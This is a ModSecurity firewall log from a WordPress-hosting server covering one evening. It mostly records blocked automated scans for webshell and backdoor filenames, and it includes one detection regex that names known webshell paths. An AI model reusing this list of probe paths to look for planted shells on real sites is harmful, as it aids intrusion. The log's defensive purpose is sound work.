[Fri Dec 19 20:01:33.697598 2025] [:error] [pid 20582:tid 20645] [client 35.230.33.33:41782] [client 35.230.33.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.33.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUU-ncpAnrkQKZ4b5gYoOwAAAMM"]
[Fri Dec 19 22:10:43.326082 2025] [:error] [pid 16026:tid 16040] [client 49.51.196.42:32836] [client 49.51.196.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUVc40LVfhf4Jb3enmNPtAAAAUs"]
[Fri Dec 19 22:20:54.987702 2025] [:error] [pid 20580:tid 20605] [client 85.203.23.36:30495] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aUVfRkmd1op_YdAdgR23EQAAAFM"]
[Fri Dec 19 22:21:05.454592 2025] [:error] [pid 20582:tid 20652] [client 85.203.23.42:63807] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUVfUcpAnrkQKZ4b5gZWTwAAAMo"]
[Fri Dec 19 22:21:05.941567 2025] [:error] [pid 41451:tid 41468] [client 85.203.23.26:46587] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUVfUQYXFn-DbZghZBHzLAAAAA4"]
[Fri Dec 19 22:21:06.387126 2025] [:error] [pid 18438:tid 18457] [client 85.203.23.34:34671] [client 85.203.23.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUVfUpRArClWV1iij_S12AAAAZA"]
[Fri Dec 19 22:21:06.820806 2025] [:error] [pid 20581:tid 20629] [client 85.203.23.26:64739] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/3PJcpMFsD8B.php"] [unique_id "aUVfUvxEv7WXNhnFD1mc-wAAAI4"]
[Fri Dec 19 22:21:12.275893 2025] [:error] [pid 16026:tid 16053] [client 85.203.23.53:46209] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets/images/selam.php"] [unique_id "aUVfWELVfhf4Jb3enmNSmwAAAVg"]
[Fri Dec 19 22:21:12.713601 2025] [:error] [pid 20581:tid 20628] [client 85.203.23.25:21311] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUVfWPxEv7WXNhnFD1mdAQAAAI0"]
[Fri Dec 19 22:21:13.195342 2025] [:error] [pid 20675:tid 20688] [client 85.203.23.37:46963] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aUVfWbMyJ3XqeDRsbQm1UwAAAQA"]
[Fri Dec 19 22:21:13.695940 2025] [:error] [pid 16026:tid 16032] [client 85.203.23.37:20179] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aUVfWULVfhf4Jb3enmNSpQAAAUM"]
[Fri Dec 19 22:21:19.147612 2025] [:error] [pid 20580:tid 20591] [client 85.203.23.28:40335] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aUVfX0md1op_YdAdgR23SQAAAEU"]
[Fri Dec 19 22:21:29.573087 2025] [:error] [pid 16026:tid 16045] [client 85.203.23.27:53143] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aUVfaULVfhf4Jb3enmNSxAAAAVA"]
[Fri Dec 19 22:21:35.031883 2025] [:error] [pid 16026:tid 16033] [client 85.203.23.53:55877] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/updates.php"] [unique_id "aUVfb0LVfhf4Jb3enmNS0gAAAUQ"]
[Fri Dec 19 22:21:35.472175 2025] [:error] [pid 18438:tid 18448] [client 85.203.23.23:34681] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "aUVfb5RArClWV1iij_S2CgAAAYc"]
[Fri Dec 19 22:21:40.898900 2025] [:error] [pid 20581:tid 20626] [client 85.203.23.23:49243] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aUVfdPxEv7WXNhnFD1mdNAAAAIs"]
[Fri Dec 19 22:21:46.352251 2025] [:error] [pid 41451:tid 41460] [client 85.203.23.44:25409] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aUVfegYXFn-DbZghZBHzZQAAAAY"]
[Fri Dec 19 22:21:46.794389 2025] [:error] [pid 20581:tid 20615] [client 85.203.23.51:43651] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/autoload_classmap/function.php"] [unique_id "aUVfevxEv7WXNhnFD1mdOwAAAIA"]
[Fri Dec 19 22:21:47.256564 2025] [:error] [pid 16026:tid 16044] [client 85.203.23.27:23919] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/5PJcpMFsD8B.php"] [unique_id "aUVfe0LVfhf4Jb3enmNS5gAAAU8"]
[Fri Dec 19 22:21:47.680021 2025] [:error] [pid 20581:tid 20620] [client 85.203.23.11:45343] [client 85.203.23.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/"] [unique_id "aUVfe_xEv7WXNhnFD1mdPQAAAIU"]
[Fri Dec 19 22:21:48.128361 2025] [:error] [pid 20675:tid 20707] [client 85.203.23.51:58571] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aUVffLMyJ3XqeDRsbQm1igAAARM"]
[Fri Dec 19 22:21:48.559320 2025] [:error] [pid 16026:tid 16029] [client 85.203.23.36:51909] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/shell/"] [unique_id "aUVffELVfhf4Jb3enmNS8AAAAUA"]
[Fri Dec 19 22:21:49.012338 2025] [:error] [pid 20582:tid 20650] [client 85.203.23.35:39303] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aUVffcpAnrkQKZ4b5gZWqgAAAMg"]
[Fri Dec 19 22:21:49.464772 2025] [:error] [pid 20582:tid 20649] [client 85.203.23.32:22517] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aUVffcpAnrkQKZ4b5gZWrwAAAMc"]
[Fri Dec 19 22:21:49.896997 2025] [:error] [pid 18438:tid 18461] [client 85.203.23.36:33289] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aUVffZRArClWV1iij_S2PQAAAZQ"]
[Fri Dec 19 22:21:55.356596 2025] [:error] [pid 20580:tid 20603] [client 85.203.23.24:33609] [client 85.203.23.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/"] [unique_id "aUVfg0md1op_YdAdgR23cwAAAFE"]
[Fri Dec 19 22:22:00.790091 2025] [:error] [pid 41451:tid 41455] [client 85.203.23.25:39171] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "aUVfiAYXFn-DbZghZBHzeAAAAAE"]
[Fri Dec 19 22:22:11.251990 2025] [:error] [pid 20582:tid 20648] [client 85.203.23.49:56451] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "aUVfk8pAnrkQKZ4b5gZW2QAAAMY"]
[Fri Dec 19 22:22:11.701348 2025] [:error] [pid 20675:tid 20692] [client 85.203.23.14:59163] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aUVfk7MyJ3XqeDRsbQm1qAAAAQQ"]
[Fri Dec 19 22:22:12.138357 2025] [:error] [pid 20675:tid 20702] [client 85.203.23.16:42875] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aUVflLMyJ3XqeDRsbQm1qwAAAQ4"]
[Fri Dec 19 22:22:12.578475 2025] [:error] [pid 20580:tid 20604] [client 85.203.23.29:64163] [client 85.203.23.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aUVflEmd1op_YdAdgR23hgAAAFI"]
[Fri Dec 19 22:22:18.043713 2025] [:error] [pid 41451:tid 41471] [client 85.203.23.36:36843] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/classwithtostring.php"] [unique_id "aUVfmgYXFn-DbZghZBHziQAAABE"]
[Fri Dec 19 22:22:23.499529 2025] [:error] [pid 18438:tid 18445] [client 85.203.23.5:34373] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aUVfn5RArClWV1iij_S2dAAAAYQ"]
[Fri Dec 19 22:22:24.002119 2025] [:error] [pid 20582:tid 20654] [client 85.203.23.15:52407] [client 85.203.23.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aUVfoMpAnrkQKZ4b5gZW5QAAAMw"]
[Fri Dec 19 22:22:24.478131 2025] [:error] [pid 41451:tid 41466] [client 85.203.23.3:36047] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aUVfoAYXFn-DbZghZBHzjQAAAAw"]
[Fri Dec 19 22:22:24.921674 2025] [:error] [pid 20581:tid 20637] [client 85.203.23.49:54533] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin-header.php"] [unique_id "aUVfoPxEv7WXNhnFD1mdWQAAAJY"]
[Fri Dec 19 22:22:25.361186 2025] [:error] [pid 20581:tid 20629] [client 85.203.23.15:60127] [client 85.203.23.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUVfofxEv7WXNhnFD1mdWgAAAI4"]
[Fri Dec 19 22:22:40.782994 2025] [:error] [pid 20581:tid 20627] [client 85.203.23.28:36807] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aUVfsPxEv7WXNhnFD1mdbgAAAIw"]
[Fri Dec 19 22:22:41.213871 2025] [:error] [pid 20580:tid 20586] [client 85.203.23.8:35177] [client 85.203.23.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "aUVfsUmd1op_YdAdgR23nwAAAEA"]
[Fri Dec 19 22:22:46.628670 2025] [:error] [pid 18438:tid 18465] [client 85.203.23.34:31195] [client 85.203.23.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aUVftpRArClWV1iij_S2iAAAAZg"]
[Fri Dec 19 22:22:47.054818 2025] [:error] [pid 41451:tid 41462] [client 85.203.23.43:22885] [client 85.203.23.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Iitespeed-cache/157.php"] [unique_id "aUVftwYXFn-DbZghZBHznQAAAAg"]
[Fri Dec 19 22:22:47.477456 2025] [:error] [pid 41451:tid 41458] [client 85.203.23.12:55769] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aUVftwYXFn-DbZghZBHzngAAAAQ"]
[Fri Dec 19 22:22:47.916413 2025] [:error] [pid 20675:tid 20688] [client 85.203.23.46:40911] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "aUVft7MyJ3XqeDRsbQm1wQAAAQA"]
[Fri Dec 19 22:22:48.364704 2025] [:error] [pid 41451:tid 41476] [client 85.203.23.35:40133] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aUVfuAYXFn-DbZghZBHzoAAAABY"]
[Fri Dec 19 22:22:48.802345 2025] [:error] [pid 41451:tid 41475] [client 85.203.23.53:51925] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aUVfuAYXFn-DbZghZBHzogAAABU"]
[Fri Dec 19 22:22:49.225502 2025] [:error] [pid 20580:tid 20609] [client 85.203.23.35:29253] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-conflg.php"] [unique_id "aUVfuUmd1op_YdAdgR23pwAAAFc"]
[Fri Dec 19 22:22:54.720637 2025] [:error] [pid 18438:tid 18454] [client 85.203.23.40:58483] [client 85.203.23.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aUVfvpRArClWV1iij_S2mAAAAY0"]
[Fri Dec 19 22:22:55.170099 2025] [:error] [pid 18438:tid 18451] [client 85.203.23.49:59907] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/222.php"] [unique_id "aUVfv5RArClWV1iij_S2mgAAAYo"]
[Fri Dec 19 22:22:55.632772 2025] [:error] [pid 41451:tid 41470] [client 85.203.23.25:52349] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aUVfvwYXFn-DbZghZBHzrAAAABA"]
[Fri Dec 19 22:22:56.091436 2025] [:error] [pid 20581:tid 20624] [client 85.203.23.42:47345] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aUVfwPxEv7WXNhnFD1mdegAAAIk"]
[Fri Dec 19 22:22:56.537076 2025] [:error] [pid 20580:tid 20591] [client 85.203.23.31:20455] [client 85.203.23.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/chosen.php"] [unique_id "aUVfwEmd1op_YdAdgR23rQAAAEU"]
[Fri Dec 19 22:23:01.986061 2025] [:error] [pid 16026:tid 16042] [client 85.203.23.12:53069] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aUVfxULVfhf4Jb3enmNTNgAAAU0"]
[Fri Dec 19 22:23:12.436137 2025] [:error] [pid 20675:tid 20712] [client 85.203.23.42:24401] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aUVf0LMyJ3XqeDRsbQm2DwAAARg"]
[Fri Dec 19 22:23:12.862480 2025] [:error] [pid 20580:tid 20605] [client 85.203.23.40:39881] [client 85.203.23.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aUVf0Emd1op_YdAdgR23vQAAAFM"]
